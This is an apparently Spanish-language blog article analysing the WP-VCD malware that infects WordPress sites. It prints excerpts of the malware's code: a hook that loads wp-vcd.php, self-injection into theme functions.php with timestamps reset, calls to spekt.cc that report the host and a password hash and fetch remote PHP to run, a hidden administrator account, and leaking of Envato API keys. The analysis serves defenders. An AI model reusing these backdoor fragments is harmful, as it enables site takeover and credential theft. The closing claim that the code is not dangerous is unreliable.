WordPress con el pasar de los años se ha convertido en uno de los cms má utilizados, agrupando a miles de páginas web y llegándose a afirmar que más del 31% de los sitios subidos a la red forman parte de este sistema de gestión de contenidos. Pero sin embargo, han sido muchos los casos en los que se ha planteado la falta de protección de este hacia las cuentas asociadas, provocando la ejecución de numerosos ataques que han comprometido muchos sitios.
Desde hace unos meses han sido numerosos los reportes que afirman la presencia de códigos maliciosos generados por hackers. Uno de los más reportandos es el siguiente caso, donde detallamos como suelen proceder
Ejemplo wp-includes/post.php
:<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php [..Rest of File..]
Ejemplo ../wp-includes/wp-vcd.php
The injected wp-vcd.php
file starts with a long base64 encoded string named
$install_code$install_code= 'c18615a1ef0e1cd813b388b4b6e29bcdc18615a1ef0e1cd813b388b4b6e29bcd[...Blah blah blah..]$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
Este archivo inserta el código de la cadena codificada dentro de funciones .php
del tema, cuidando de restablecer la fecha y hora de modificación.
Ejemplo ../wp-contents/themes/Your_Theme_Name/functions.php
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
if (strpos($content, 'WP_V_CD') === false) {
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ .
DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ .
DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else {
$ping = false;
}
}
Luego rellena de forma remota una base de datos /
matriz de nombres de host y contraseñas de las inyecciones de código a través de test.php
y descarga el contenido de un archivo txt remoto dentro de class.wp.php
if ($ping) {
$content = @file_get_contents(
‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”]
. ‘&password=’ . $install_hash);
@file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’,
file_get_contents(‘http://www.spekt.cc/admin.txt'));
}
if ($ping2) {
$content = @file_get_contents(‘http://www.spekt.cc/test.php?
host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ .
$install_hash);
@file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’,
file_get_contents(‘http://www.spekt.cc/admin.txt'));
//echo ABSPATH . ‘wp-includes/class.wp.php’;
}
Ejemplo ../wp-includes/class.wp.php
class.wp.php
intenta insertar un usuario dentro de la db wp
$wpdb->query(
“INSERT INTO $wpdb->users(
`ID`, `user_login`, `user_pass`, `user_nicename`,
`user_email`, `user_url`, `user_registered`,
`user_activation_key`, `user_status`,
`display_name`)
VALUES (‘100011111’, ‘100011111’,
‘\$P\$c18615a1ef0e1cd813b388b4B6e29bcd.’, ‘100011111’,
‘spekt@spekt.cc’, ‘’, ‘2010–06–07 00:00:00’, ‘’, ‘0’,
‘100010010’)”
);
Y se mete con una clave de la API del Kit de herramientas de WordPress de Envato Market, probablemente como una forma de actualizar temas.
if ( isset($_GET[‘key’]) ) {
$options = get_option( EWPT_PLUGIN_SLUG );
echo ‘<center><h2>’ . esc_attr( $options[‘user_name’] .
‘:’ . esc_attr( $options[‘api_key’])) . ‘<br>’;
echo esc_html( envato_market()->get_option( ‘token’ ) );
echo ‘</center></h2>’;
}
Luego inserta el contenido de otro archivo txt remoto, codecxc.txt
dentro del directorio temporal de php
function wp_temp_setupx($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setupx”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?php\n” . $phpCode);
fclose($handle);
include $tmpfname; unlink($tmpfname);
return get_defined_vars();
}
'''
functions.php
El b64 se inyecta en la parte superior de functions.php
, y busca en el wp db publicaciones y enlaces para sustituirlos por contenido nuevo.
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
El contenido html está en parte presente dentro del php, y en parte se descarga de forma remota, con la ayuda del código remotoX.php
if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if($tmpcontent = @file_get_contents(
"http://www.spekt.cc/codeX.php?i=".$path))
}
Luego de esto, los inconvenientes deberían quedar resueltos, aún así que los códigos no son peligrosos, pero entendemos que atentan contra el correcto desempeño del sitio web.